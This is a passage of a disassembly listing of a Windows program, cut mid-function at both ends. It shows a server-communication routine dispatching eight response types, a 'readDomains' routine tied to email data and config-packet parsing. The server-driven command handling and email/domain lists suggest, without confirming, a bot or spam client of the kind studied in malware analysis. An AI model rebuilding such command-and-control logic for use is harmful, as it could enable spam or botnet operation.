sub_401C1E push offset dword_41FF2C lea eax, [esp+0ACh+var_80] jmp loc_40BB94 ; --------------------------------------------------------------------------- loc_40BC43: ; CODE XREF: sub_40BB2D+DFj push [esp+0A8h+var_98] call sub_40D802 pop ecx push [esp+0A8h+var_98] mov edi, eax push edi push esi call sub_40BA00 mov ecx, [esp+0A8h+var_98] cmp eax, ecx jz short loc_40BC9F push edi call sub_4103B5 lea ecx, [esp+0ACh+var_64] mov [esp+0ACh+var_AC], offset aServercommGe_2 ; "ServerComm::getResponse: disconnected w"... call sub_401C44 lea eax, [esp+0A8h+var_64] push eax lea ecx, [esp+0ACh+var_80] mov [esp+0ACh+var_4], 3 call sub_401C1E push offset dword_41FF2C lea eax, [esp+0ACh+var_80] jmp loc_40BB94 ; --------------------------------------------------------------------------- loc_40BC9F: ; CODE XREF: sub_40BB2D+133j mov eax, [esp+0A8h+var_9C] dec eax cmp eax, 7 ; switch 8 cases ja loc_40BD6A ; default jmp off_40BDAD[eax*4] ; switch jump loc_40BCB4: ; DATA XREF: .vty:off_40BDADo push dword ptr [edi+4] ; jumptable 0040BCAD case 0 mov ecx, [esi] push dword ptr [edi] mov eax, [ecx] call dword ptr [eax] jmp loc_40BD5E ; --------------------------------------------------------------------------- loc_40BCC4: ; CODE XREF: sub_40BB2D+180j ; DATA XREF: .vty:off_40BDADo mov ecx, [esi] ; jumptable 0040BCAD case 1 mov eax, [ecx] call dword ptr [eax+4] jmp loc_40BD5E ; --------------------------------------------------------------------------- loc_40BCD0: ; CODE XREF: sub_40BB2D+180j ; DATA XREF: .vty:off_40BDADo mov eax, [esi] ; jumptable 0040BCAD case 2 mov ebx, [eax] push ecx mov ecx, edi add ebx, 8 call sub_40BDCD loc_40BCDF: ; CODE XREF: sub_40BB2D+1CDj mov ecx, [esi] push eax call dword ptr [ebx] jmp short loc_40BD5E ; --------------------------------------------------------------------------- loc_40BCE6: ; CODE XREF: sub_40BB2D+180j ; DATA XREF: .vty:off_40BDADo mov eax, [esi] ; jumptable 0040BCAD case 3 mov ebx, [eax] add ecx, 0FFFFFFDCh push ecx lea eax, [edi+24h] push eax add ebx, 0Ch call sub_40C10E jmp short loc_40BCDF ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40BB2D+180j ; DATA XREF: .vty:off_40BDADo mov byte ptr [edi+ecx], 0 ; jumptable 0040BCAD case 4 mov ecx, [esi] mov eax, [ecx] push edi call dword ptr [eax+10h] jmp short loc_40BD5E ; --------------------------------------------------------------------------- loc_40BD0A: ; CODE XREF: sub_40BB2D+180j ; DATA XREF: .vty:off_40BDADo mov ecx, [esi] ; jumptable 0040BCAD case 5 push dword ptr [edi] mov eax, [ecx] call dword ptr [eax+14h] jmp short loc_40BD5E ; --------------------------------------------------------------------------- loc_40BD15: ; CODE XREF: sub_40BB2D+180j ; DATA XREF: .vty:off_40BDADo mov ecx, [esi] ; jumptable 0040BCAD case 6 push dword ptr [edi] mov eax, [ecx] call dword ptr [eax+18h] jmp short loc_40BD5E ; --------------------------------------------------------------------------- loc_40BD20: ; CODE XREF: sub_40BB2D+180j ; DATA XREF: .vty:off_40BDADo xor eax, eax ; jumptable 0040BCAD case 7 mov [esp+0A8h+var_8C], eax mov [esp+0A8h+var_88], eax mov [esp+0A8h+var_84], eax lea eax, [esp+0A8h+var_90] push eax push ecx lea eax, [esp+0B0h+var_94] mov [esp+0B0h+var_4], ebx push eax mov [esp+0B4h+var_94], edi call sub_40C028 mov ecx, [esi] mov eax, [ecx] lea edx, [esp+0A8h+var_90] push edx call dword ptr [eax+1Ch] lea esi, [esp+0A8h+var_90] call sub_405AAC loc_40BD5E: ; CODE XREF: sub_40BB2D+192j ; sub_40BB2D+19Ej ... push edi call sub_4103B5 pop ecx jmp loc_40BBB9 ; --------------------------------------------------------------------------- loc_40BD6A: ; CODE XREF: sub_40BB2D+17Aj push edi ; default call sub_4103B5 lea ecx, [esp+0ACh+var_48] mov [esp+0ACh+var_AC], offset aServercommGe_3 ; "ServerComm::getResponse: bad response -"... call sub_401C44 lea eax, [esp+0A8h+var_48] push eax lea ecx, [esp+0ACh+var_2C] mov [esp+0ACh+var_4], 5 call sub_401C1E push offset dword_41FF2C lea eax, [esp+0ACh+var_2C] jmp loc_40BB94 sub_40BB2D endp ; --------------------------------------------------------------------------- off_40BDAD dd offset loc_40BCB4 ; DATA XREF: sub_40BB2D+180r dd offset loc_40BCC4 ; jump table for switch statement dd offset loc_40BCD0 dd offset loc_40BCE6 dd offset loc_40BCFC dd offset loc_40BD0A dd offset loc_40BD15 dd offset loc_40BD20 ; =============== S U B R O U T I N E ======================================= sub_40BDCD proc near ; CODE XREF: sub_40BB2D+1ADp mov eax, offset loc_41B31A call sub_41AE44 sub esp, 0B4h push ebx push esi push edi push 0Ch mov edi, ecx call sub_40DE68 mov esi, eax pop ecx mov [ebp-18h], esi xor ebx, ebx cmp esi, ebx mov [ebp-4], ebx jz short loc_40BE08 call sub_405A4E mov [esi+4], eax mov [esi+8], ebx mov [ebp-10h], esi jmp short loc_40BE0B ; --------------------------------------------------------------------------- loc_40BE08: ; CODE XREF: sub_40BDCD+29j mov [ebp-10h], ebx loc_40BE0B: ; CODE XREF: sub_40BDCD+39j mov eax, [ebp+8] push 0Fh pop esi add eax, edi push ebx lea ecx, [ebp-98h] mov [ebp-14h], eax mov [ebp-80h], esi call sub_401564 mov dword ptr [ebp-4], 1 jmp loc_40BFC8 ; --------------------------------------------------------------------------- loc_40BE31: ; CODE XREF: sub_40BDCD+201j mov dl, [edi] mov edi, eax mov al, [edi] movzx eax, al inc edi lea ecx, [eax+edi] cmp ecx, [ebp-14h] mov [ebp+0Bh], dl mov [ebp-20h], eax mov [ebp-18h], ecx ja loc_40BFD4 cmp dl, 0FFh jnz short loc_40BEC7 push eax push edi lea ecx, [ebp-98h] call sub_401483 push ebx lea ecx, [ebp-58h] mov [ebp-40h], esi call sub_401564 mov [ebp-38h], ebx mov [ebp-34h], ebx mov [ebp-30h], ebx mov [ebp-2Ch], ebx mov [ebp-28h], ebx mov eax, [ebp-10h] mov byte ptr [ebp-4], 3 push dword ptr [eax+4] lea ecx, [ebp-58h] push eax push ecx push eax call sub_406CEA lea edi, [ebp-3Ch] mov byte ptr [ebp-4], 1 call sub_406C09 push ebx push 1 lea ecx, [ebp-58h] call sub_4013C4 mov eax, [ebp-10h] call sub_40C211 push 0FFFFFFFFh push ebx lea ecx, [ebp-98h] push ecx mov ecx, eax call sub_401315 jmp loc_40BFC5 ; --------------------------------------------------------------------------- loc_40BEC7: ; CODE XREF: sub_40BDCD+86j mov eax, [ebp-10h] cmp [eax+8], ebx jz loc_40BFF6 push ebx lea ecx, [ebp-7Ch] mov [ebp-64h], esi call sub_401564 lea esi, [ebp-60h] call sub_4012E2 lea esi, [ebp-44h] call sub_4012E2 mov [ebp-28h], ebx mov [ebp-24h], bl mov [ebp-23h], bl mov eax, [ebp-10h] mov byte ptr [ebp-4], 5 call sub_40C211 mov esi, eax mov ecx, [esi+20h] add esi, 1Ch cmp ecx, ebx jnz short loc_40BF15 mov [ebp-1Ch], ebx jmp short loc_40BF23 ; --------------------------------------------------------------------------- loc_40BF15: ; CODE XREF: sub_40BDCD+141j mov eax, [esi+0Ch] sub eax, ecx push 5Ch cdq pop ecx idiv ecx mov [ebp-1Ch], eax loc_40BF23: ; CODE XREF: sub_40BDCD+146j mov eax, esi call sub_405555 cmp eax, [ebp-1Ch] jnb short loc_40BF42 lea eax, [ebp-7Ch] push eax push 1 push dword ptr [esi+8] call sub_40C33D mov [esi+8], eax jmp short loc_40BF62 ; --------------------------------------------------------------------------- loc_40BF42: ; CODE XREF: sub_40BDCD+160j mov ebx, [esi+8] cmp [esi+4], ebx jbe short loc_40BF4F call sub_40DCFC loc_40BF4F: ; CODE XREF: sub_40BDCD+17Bj push ebx push esi lea eax, [ebp-7Ch] push eax lea ebx, [ebp-0A0h] call sub_40C2BE xor ebx, ebx loc_40BF62: ; CODE XREF: sub_40BDCD+173j lea esi, [ebp-7Ch] mov byte ptr [ebp-4], 1 call sub_407598 mov eax, [ebp-10h] call sub_40C211 push 1Ch pop esi add eax, esi call sub_40C1D3 mov cl, [ebp+0Bh] mov [eax+59h], cl mov eax, [ebp-10h] call sub_40C211 add eax, esi call sub_40C1D3 push 0FFFFFFFFh push ebx lea ecx, [ebp-98h] add eax, esi push ecx mov ecx, eax call sub_401315 push dword ptr [ebp-20h] mov eax, [ebp-10h] push edi call sub_40C211 add eax, esi call sub_40C1D3 mov ecx, eax call sub_401483 push 0Fh pop esi loc_40BFC5: ; CODE XREF: sub_40BDCD+F5j mov edi, [ebp-18h] loc_40BFC8: ; CODE XREF: sub_40BDCD+5Fj lea eax, [edi+1] cmp eax, [ebp-14h] jb loc_40BE31 loc_40BFD4: ; CODE XREF: sub_40BDCD+7Dj push ebx push 1 lea ecx, [ebp-98h] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, [ebp-10h] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40BFF6: ; CODE XREF: sub_40BDCD+100j push offset aServercommRead ; "ServerComm::readDomains: email does not"... lea ecx, [ebp-0BCh] call sub_401C44 lea eax, [ebp-0BCh] push eax lea ecx, [ebp-3Ch] mov byte ptr [ebp-4], 4 call sub_401C1E push offset dword_41FF2C lea eax, [ebp-3Ch] push eax call sub_4107BC int 3 ; Trap to Debugger sub_40BDCD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C028 proc near ; CODE XREF: sub_40BB2D+217p ; sub_40C10E+9Fp ... mov eax, offset loc_41B2D8 call sub_41AE44 sub esp, 1Ch push ebx push esi mov esi, [ebp+8] push edi mov edi, [esi] add edi, [ebp+0Ch] push 0 lea ecx, [ebp-28h] mov dword ptr [ebp-10h], 0Fh call sub_401564 mov ebx, [ebp+10h] and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax mov eax, ebx call sub_409560 or dword ptr [ebp-4], 0FFFFFFFFh push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 jmp short loc_40C0D1 ; --------------------------------------------------------------------------- loc_40C075: ; CODE XREF: sub_40C028+ABj mov eax, [esi] mov al, [eax] test al, al jz short loc_40C09C mov [ebp+0Ch], al mov eax, ebx call sub_40C232 push dword ptr [ebp+0Ch] xor ebx, ebx inc ebx mov esi, eax call sub_40140F mov ebx, [ebp+10h] mov esi, [ebp+8] jmp short loc_40C0CF ; --------------------------------------------------------------------------- loc_40C09C: ; CODE XREF: sub_40C028+53j push 0 lea ecx, [ebp-28h] mov dword ptr [ebp-10h], 0Fh call sub_401564 lea eax, [ebp-28h] push eax mov eax, ebx mov dword ptr [ebp-4], 1 call sub_409560 or dword ptr [ebp-4], 0FFFFFFFFh push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 loc_40C0CF: ; CODE XREF: sub_40C028+72j inc dword ptr [esi] loc_40C0D1: ; CODE XREF: sub_40C028+4Bj cmp [esi], edi jb short loc_40C075 mov eax, ebx call sub_40C232 cmp dword ptr [eax+14h], 0 jnz short loc_40C0FD mov eax, ebx call sub_4057B6 test eax, eax jz short loc_40C0FD mov eax, [ebx+8] push eax add eax, 0FFFFFFE4h call sub_405A8F add dword ptr [ebx+8], 0FFFFFFE4h loc_40C0FD: ; CODE XREF: sub_40C028+B8j ; sub_40C028+C3j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 0Ch sub_40C028 endp ; =============== S U B R O U T I N E ======================================= sub_40C10E proc near ; CODE XREF: sub_40BB2D+1C8p mov eax, offset loc_41B46F call sub_41AE44 mov eax, [edi+1Ch] add eax, [edi+20h] sub esp, 40h cmp [ebp+0Ch], eax push esi jz short loc_40C152 push offset aConfigPacketHa ; "Config packet has incorrect size" lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-44h] call sub_401C1E push offset dword_41FF2C lea eax, [ebp-44h] push eax call sub_4107BC loc_40C152: ; CODE XREF: sub_40C10E+17j push 3Ch call sub_40DE68 pop ecx xor esi, esi cmp eax, esi jz short loc_40C174 mov [eax+20h], esi mov [eax+24h], esi mov [eax+28h], esi mov [eax+30h], esi mov [eax+34h], esi mov [eax+38h], esi mov esi, eax loc_40C174: ; CODE XREF: sub_40C10E+50j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [edi] mov [esi], eax mov eax, [edi+4] mov [esi+4], eax mov eax, [edi+8] mov [esi+8], eax mov eax, [edi+0Ch] mov [esi+0Ch], eax mov eax, [edi+10h] mov [esi+10h], eax mov eax, [edi+14h] mov [esi+14h], eax mov al, [edi+18h] and al, 1 mov [esi+18h], al lea eax, [esi+1Ch] push eax push dword ptr [edi+1Ch] lea eax, [ebp+8] push eax call sub_40C028 lea eax, [esi+2Ch] push eax push dword ptr [edi+20h] lea eax, [ebp+8] push eax call sub_40C028 mov ecx, [ebp-0Ch] mov eax, esi mov large fs:0, ecx pop esi leave retn 8 sub_40C10E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1D3 proc near ; CODE XREF: sub_40BDCD+1AEp ; sub_40BDCD+1C3p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi mov esi, eax push edi mov edi, [esi+8] cmp [esi+4], edi jbe short loc_40C1EA call sub_40DCFC loc_40C1EA: ; CODE XREF: sub_40C1D3+10j mov [ebp+var_4], edi push 0FFFFFFFFh lea edi, [ebp+var_8] mov [ebp+var_8], esi call sub_40C7D0 mov ecx, [eax] mov eax, [eax+4] lea esi, [ebp+var_10] mov [ebp+var_10], ecx mov [ebp+var_C], eax call sub_409835 pop edi pop esi leave retn sub_40C1D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C211 proc near ; CODE XREF: sub_40BDCD+DFp ; sub_40BDCD+132p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov ecx, [eax+4] push esi lea esi, [ebp+var_8] mov [ebp+var_4], ecx mov [ebp+var_8], eax call sub_405967 mov esi, eax call sub_406402 pop esi leave retn sub_40C211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C232 proc near ; CODE XREF: sub_40C028+5Ap ; sub_40C028+AFp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi mov esi, eax push edi mov edi, [esi+8] cmp [esi+4], edi jbe short loc_40C249 call sub_40DCFC loc_40C249: ; CODE XREF: sub_40C232+10j mov [ebp+var_4], edi push 0FFFFFFFFh lea edi, [ebp+var_8] mov [ebp+var_8], esi call sub_40AFF4 mov ecx, [eax] mov eax, [eax+4] lea esi, [ebp+var_10] mov [ebp+var_10], ecx mov [ebp+var_C], eax call sub_409835 pop edi pop esi leave retn sub_40C232 endp ; =============== S U B R O U T I N E ======================================= sub_40C270 proc near ; CODE XREF: sub_40B7A2+5Cp ; sub_40B7A2+83p ... var_C = byte ptr -0Ch mov edx, [esi+4] sub esp, 10h test edx, edx push edi jnz short loc_40C27F xor ecx, ecx jmp short loc_40C284 ; --------------------------------------------------------------------------- loc_40C27F: ; CODE XREF: sub_40C270+9j mov ecx, [esi+8] sub ecx, edx loc_40C284: ; CODE XREF: sub_40C270+Dj test edx, edx jz short loc_40C29E mov eax, [esi+0Ch] sub eax, edx cmp ecx, eax jnb short loc_40C29E mov eax, [esi+8] mov cl, [ebx] mov [eax], cl inc eax mov [esi+8], eax jmp short loc_40C2B9 ; --------------------------------------------------------------------------- loc_40C29E: ; CODE XREF: sub_40C270+16j ; sub_40C270+1Fj mov edi, [esi+8] cmp edx, edi jbe short loc_40C2AA call sub_40DCFC loc_40C2AA: ; CODE XREF: sub_40C270+33j push edi push esi push ebx lea eax, [esp+20h+var_C] push eax mov eax, esi call sub_40C36D loc_40C2B9: ; CODE XREF: sub_40C270+2Cj pop edi add esp, 10h retn sub_40C270 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2BE proc near ; CODE XREF: sub_40BDCD+18Ep var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edi mov eax, esi call sub_405555 test eax, eax jnz short loc_40C2D4 and [ebp+var_8], eax jmp short loc_40C2FF ; --------------------------------------------------------------------------- loc_40C2D4: ; CODE XREF: sub_40C2BE+Fj mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_40C2E1 call sub_40DCFC loc_40C2E1: ; CODE XREF: sub_40C2BE+1Cj cmp [ebp+arg_4], 0 jz short loc_40C2EC cmp [ebp+arg_4], esi jz short loc_40C2F1 loc_40C2EC: ; CODE XREF: sub_40C2BE+27j call sub_40DCFC loc_40C2F1: ; CODE XREF: sub_40C2BE+2Cj mov eax, [ebp+arg_8] sub eax, edi push 5Ch cdq pop ecx idiv ecx mov [ebp+var_8], eax loc_40C2FF: ; CODE XREF: sub_40C2BE+14j push [ebp+arg_8] mov ecx, [ebp+arg_0] push [ebp+arg_4] push esi call sub_40C3E5 mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_40C31B call sub_40DCFC loc_40C31B: ; CODE XREF: sub_40C2BE+56j push [ebp+var_8] mov [ebp+arg_8], edi lea edi, [ebp+arg_4] mov [ebp+arg_4], esi call sub_40C7D0 mov ecx, [eax] mov eax, [eax+4] mov [ebx+4], eax mov [ebx], ecx mov eax, ebx pop edi leave retn 0Ch sub_40C2BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C33D proc near ; CODE XREF: sub_40BDCD+16Bp ; sub_40C3E5+BFp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CA70 mov eax, [ebp+arg_4] imul eax, 5Ch add esp, 14h add eax, [ebp+arg_0] pop edi leave retn 0Ch sub_40C33D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C36D proc near ; CODE XREF: sub_40C270+44p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi mov esi, eax push edi mov edi, [esi+4] xor ebx, ebx cmp edi, ebx jz short loc_40C3A5 mov eax, [esi+8] mov ecx, eax sub ecx, edi jz short loc_40C3A5 cmp edi, eax jbe short loc_40C391 call sub_40DCFC loc_40C391: ; CODE XREF: sub_40C36D+1Dj cmp [ebp+arg_8], ebx jz short loc_40C39B cmp [ebp+arg_8], esi jz short loc_40C3A0 loc_40C39B: ; CODE XREF: sub_40C36D+27j call sub_40DCFC loc_40C3A0: ; CODE XREF: sub_40C36D+2Cj mov ebx, [ebp+arg_C] sub ebx, edi loc_40C3A5: ; CODE XREF: sub_40C36D+10j ; sub_40C36D+19j push [ebp+arg_C] mov eax, [ebp+arg_4] push [ebp+arg_8] mov ecx, esi call sub_40C620 mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_40C3C2 call sub_40DCFC loc_40C3C2: ; CODE XREF: sub_40C36D+4Ej mov [ebp+arg_C], edi add edi, ebx cmp edi, [esi+8] ja short loc_40C3D1 cmp edi, [esi+4] jnb short loc_40C3D6 loc_40C3D1: ; CODE XREF: sub_40C36D+5Dj call sub_40DCFC loc_40C3D6: ; CODE XREF: sub_40C36D+62j mov eax, [ebp+arg_0] mov [eax+4], edi pop edi mov [eax], esi pop esi pop ebx leave retn 10h sub_40C36D endp ; =============== S U B R O U T I N E ======================================= sub_40C3E5 proc near ; CODE XREF: sub_40C2BE+4Bp mov eax, offset loc_41B129 call sub_41AE44 sub esp, 6Ch push ebx mov ebx, [ebp+8] push esi push edi lea eax, [ebp-78h] mov [ebp-10h], esp push eax mov edi, ecx call sub_40772B xor esi, esi mov [ebp-4], esi mov ecx, [ebx+4] cmp ecx, esi jz short loc_40C422 mov eax, [ebx+0Ch] sub eax, ecx push 5Ch cdq pop ecx idiv ecx mov [ebp-14h], eax mov esi, eax loc_40C422: ; CODE XREF: sub_40C3E5+2Bj mov eax, ebx call sub_405555 mov edi, 2C8590Bh mov ecx, edi sub ecx, eax cmp ecx, 1 jnb short loc_40C43C call sub_40684D loc_40C43C: ; CODE XREF: sub_40C3E5+50j mov eax, ebx call sub_405555 inc eax cmp esi, eax jnb loc_40C538 mov eax, esi shr eax, 1 sub edi, eax cmp edi, esi jnb short loc_40C45F and dword ptr [ebp-14h], 0 mov esi, [ebp-14h] jmp short loc_40C464 ; --------------------------------------------------------------------------- loc_40C45F: ; CODE XREF: sub_40C3E5+6Fj add esi, eax mov [ebp-14h], esi loc_40C464: ; CODE XREF: sub_40C3E5+78j mov eax, ebx call sub_405555 inc eax cmp esi, eax jnb short loc_40C47D mov eax, ebx call sub_405555 inc eax mov [ebp-14h], eax mov esi, eax loc_40C47D: ; CODE XREF: sub_40C3E5+89j mov ecx, esi call sub_40740A push eax push dword ptr [ebp+10h] mov byte ptr [ebp-4], 1 mov ecx, [ebx+4] mov [ebp-18h], eax mov [ebp+8], eax call sub_40C801 lea ecx, [ebp-78h] push ecx push 1 push eax mov [ebp+8], eax call sub_40C33D mov ecx, [ebp+10h] push eax push dword ptr [ebx+8] mov [ebp+8], eax call sub_40C801 mov eax, ebx call sub_405555 mov edi, eax mov eax, [ebx+4] inc edi test eax, eax jz short loc_40C4F6 mov ecx, [ebx+8] cmp eax, ecx mov [ebp+10h], ecx mov [ebp+8], eax jz short loc_40C4ED loc_40C4D6: ; CODE XREF: sub_40C3E5+103j mov esi, [ebp+8] call sub_407598 add dword ptr [ebp+8], 5Ch mov eax, [ebp+8] cmp eax, [ebp+10h] jnz short loc_40C4D6 mov esi, [ebp-14h] loc_40C4ED: ; CODE XREF: sub_40C3E5+EFj push dword ptr [ebx+4] call sub_40DD8A pop ecx loc_40C4F6: ; CODE XREF: sub_40C3E5+E2j mov eax, [ebp-18h] imul esi, 5Ch imul edi, 5Ch add esi, eax add edi, eax mov [ebx+0Ch], esi mov [ebx+8], edi mov [ebx+4], eax jmp loc_40C607 ; --------------------------------------------------------------------------- loc_40C511: ; DATA XREF: .vty:0042082Co mov edi, [ebp-18h] cmp edi, [ebp+8] mov esi, edi jz short loc_40C528 loc_40C51B: ; CODE XREF: sub_40C3E5+141j call sub_407598 add esi, 5Ch cmp esi, [ebp+8] jnz short loc_40C51B loc_40C528: ; CODE XREF: sub_40C3E5+134j push edi call sub_40DD8A pop ecx loc_40C52F: ; CODE XREF: sub_40C3E5+1D3j push 0 push 0 call sub_4107BC loc_40C538: ; CODE XREF: sub_40C3E5+61j mov esi, [ebx+8] mov edi, [ebp+10h] mov eax, esi sub eax, edi push 5Ch cdq pop ecx idiv ecx cmp eax, 1 jnb short loc_40C5BD lea eax, [edi+5Ch] push eax push esi mov ecx, edi call sub_40C801 mov byte ptr [ebp-4], 3 mov ecx, [ebx+8] lea eax, [ebp-78h] push eax mov eax, ecx sub eax, edi push 5Ch pop esi cdq idiv esi xor edx, edx inc edx sub edx, eax push edx push ecx call sub_40C33D and dword ptr [ebp-4], 0 add [ebx+8], esi mov ebx, [ebx+8] add ebx, 0FFFFFFA4h cmp edi, ebx mov esi, edi jz short loc_40C607 loc_40C58D: ; CODE XREF: sub_40C3E5+1B5j lea edi, [ebp-78h] call sub_40CAD0 add esi, 5Ch cmp esi, ebx jnz short loc_40C58D jmp short loc_40C607 ; --------------------------------------------------------------------------- loc_40C59E: ; DATA XREF: .vty:0042083Co mov eax, [ebp+8] mov edi, [eax+8] mov esi, [ebp+10h] add edi, 5Ch jmp short loc_40C5B1 ; --------------------------------------------------------------------------- loc_40C5AC: ; CODE XREF: sub_40C3E5+1D1j call sub_407598 loc_40C5B1: ; CODE XREF: sub_40C3E5+1C5j add esi, 5Ch cmp esi, edi jnz short loc_40C5AC jmp loc_40C52F ; --------------------------------------------------------------------------- loc_40C5BD: ; CODE XREF: sub_40C3E5+166j push esi lea ecx, [esi-5Ch] push esi call sub_40C801 mov [ebx+8], eax lea ebx, [esi-5Ch] cmp edi, ebx jz short loc_40C5EF mov [ebp+8], esi sub [ebp+8], ebx loc_40C5D7: ; CODE XREF: sub_40C3E5+205j mov eax, [ebp+8] sub ebx, 5Ch lea esi, [eax+ebx] mov edi, ebx call sub_40CAD0 cmp ebx, [ebp+10h] jnz short loc_40C5D7 mov edi, [ebp+10h] loc_40C5EF: ; CODE XREF: sub_40C3E5+1EAj lea ebx, [edi+5Ch] cmp edi, ebx mov esi, edi jz short loc_40C607 loc_40C5F8: ; CODE XREF: sub_40C3E5+220j lea edi, [ebp-78h] call sub_40CAD0 add esi, 5Ch cmp esi, ebx jnz short loc_40C5F8 loc_40C607: ; CODE XREF: sub_40C3E5+127j ; sub_40C3E5+1A6j ... lea esi, [ebp-78h] call sub_407598 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 0Ch sub_40C3E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C620 proc near ; CODE XREF: sub_40C36D+43p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx mov bl, [eax] push esi mov esi, ecx mov ecx, [esi+4] test ecx, ecx push edi mov byte ptr [ebp+var_8], bl jnz short loc_40C63C and [ebp+var_4], ecx jmp short loc_40C644 ; --------------------------------------------------------------------------- loc_40C63C: ; CODE XREF: sub_40C620+15j mov eax, [esi+0Ch] sub eax, ecx mov [ebp+var_4], eax loc_40C644: ; CODE XREF: sub_40C620+1Aj test ecx, ecx jnz short loc_40C64C xor eax, eax jmp short loc_40C651 ; --------------------------------------------------------------------------- loc_40C64C: ; CODE XREF: sub_40C620+26j mov eax, [esi+8] sub eax, ecx loc_40C651: ; CODE XREF: sub_40C620+2Aj or edx, 0FFFFFFFFh sub edx, eax cmp edx, 1 jnb short loc_40C660 call sub_40684D loc_40C660: ; CODE XREF: sub_40C620+39j test ecx, ecx jnz short loc_40C668 xor eax, eax jmp short loc_40C66D ; --------------------------------------------------------------------------- loc_40C668: ; CODE XREF: sub_40C620+42j mov eax, [esi+8] sub eax, ecx loc_40C66D: ; CODE XREF: sub_40C620+46j inc eax cmp [ebp+var_4], eax jnb loc_40C709 mov eax, [ebp+var_4] shr eax, 1 or edx, 0FFFFFFFFh sub edx, eax cmp edx, [ebp+var_4] jnb short loc_40C68C and [ebp+var_4], 0 jmp short loc_40C68F ; --------------------------------------------------------------------------- loc_40C68C: ; CODE XREF: sub_40C620+64j add [ebp+var_4], eax loc_40C68F: ; CODE XREF: sub_40C620+6Aj test ecx, ecx jnz short loc_40C697 xor eax, eax jmp short loc_40C69C ; --------------------------------------------------------------------------- loc_40C697: ; CODE XREF: sub_40C620+71j mov eax, [esi+8] sub eax, ecx loc_40C69C: ; CODE XREF: sub_40C620+75j inc eax cmp [ebp+var_4], eax jnb short loc_40C6B3 test ecx, ecx jnz short loc_40C6AA xor eax, eax jmp short loc_40C6AF ; --------------------------------------------------------------------------- loc_40C6AA: ; CODE XREF: sub_40C620+84j mov eax, [esi+8] sub eax, ecx loc_40C6AF: ; CODE XREF: sub_40C620+88j inc eax mov [ebp+var_4], eax loc_40C6B3: ; CODE XREF: sub_40C620+80j mov ecx, [ebp+var_4] call sub_40C789 push dword ptr [esi+4] mov edi, eax mov eax, [ebp+arg_4] mov ecx, edi call sub_40C825 push [ebp+arg_4] mov [eax], bl lea ecx, [eax+1] mov eax, [esi+8] call sub_40C825 mov eax, [esi+4] test eax, eax jnz short loc_40C6E5 xor ebx, ebx jmp short loc_40C6EA ; --------------------------------------------------------------------------- loc_40C6E5: ; CODE XREF: sub_40C620+BFj mov ebx, [esi+8] sub ebx, eax loc_40C6EA: ; CODE XREF: sub_40C620+C3j test eax, eax jz short loc_40C6F5 push eax call sub_40DD8A pop ecx loc_40C6F5: ; CODE XREF: sub_40C620+CCj mov eax, [ebp+var_4] add eax, edi mov [esi+0Ch], eax lea eax, [edi+ebx+1] mov [esi+8], eax mov [esi+4], edi jmp short loc_40C782 ; --------------------------------------------------------------------------- loc_40C709: ; CODE XREF: sub_40C620+51j mov edi, [esi+8] mov ebx, [ebp+arg_4] mov eax, edi sub eax, ebx cmp eax, 1 jnb short loc_40C745 lea ecx, [ebx+1] push ebx mov eax, edi call sub_40C825 mov ecx, [esi+8] mov eax, ebx sub eax, ecx inc eax jz short loc_40C73A push eax push [ebp+var_8] push ecx call sub_40DD10 add esp, 0Ch loc_40C73A: ; CODE XREF: sub_40C620+10Bj inc dword ptr [esi+8] mov esi, [esi+8] lea eax, [esi-1] jmp short loc_40C76F ; --------------------------------------------------------------------------- loc_40C745: ; CODE XREF: sub_40C620+F6j lea eax, [edi-1] push eax mov ecx, edi mov eax, edi call sub_40C825 mov [esi+8], eax mov eax, edi sub eax, ebx dec eax test eax, eax jle short loc_40C76C push eax push ebx push eax sub edi, eax push edi call sub_40D807 add esp, 10h loc_40C76C: ; CODE XREF: sub_40C620+13Cj lea eax, [ebx+1] loc_40C76F: ; CODE XREF: sub_40C620+123j cmp ebx, eax jz short loc_40C782 sub eax, ebx push eax push [ebp+var_8] push ebx call sub_40DD10 add esp, 0Ch loc_40C782: ; CODE XREF: sub_40C620+E7j ; sub_40C620+151j pop edi pop esi 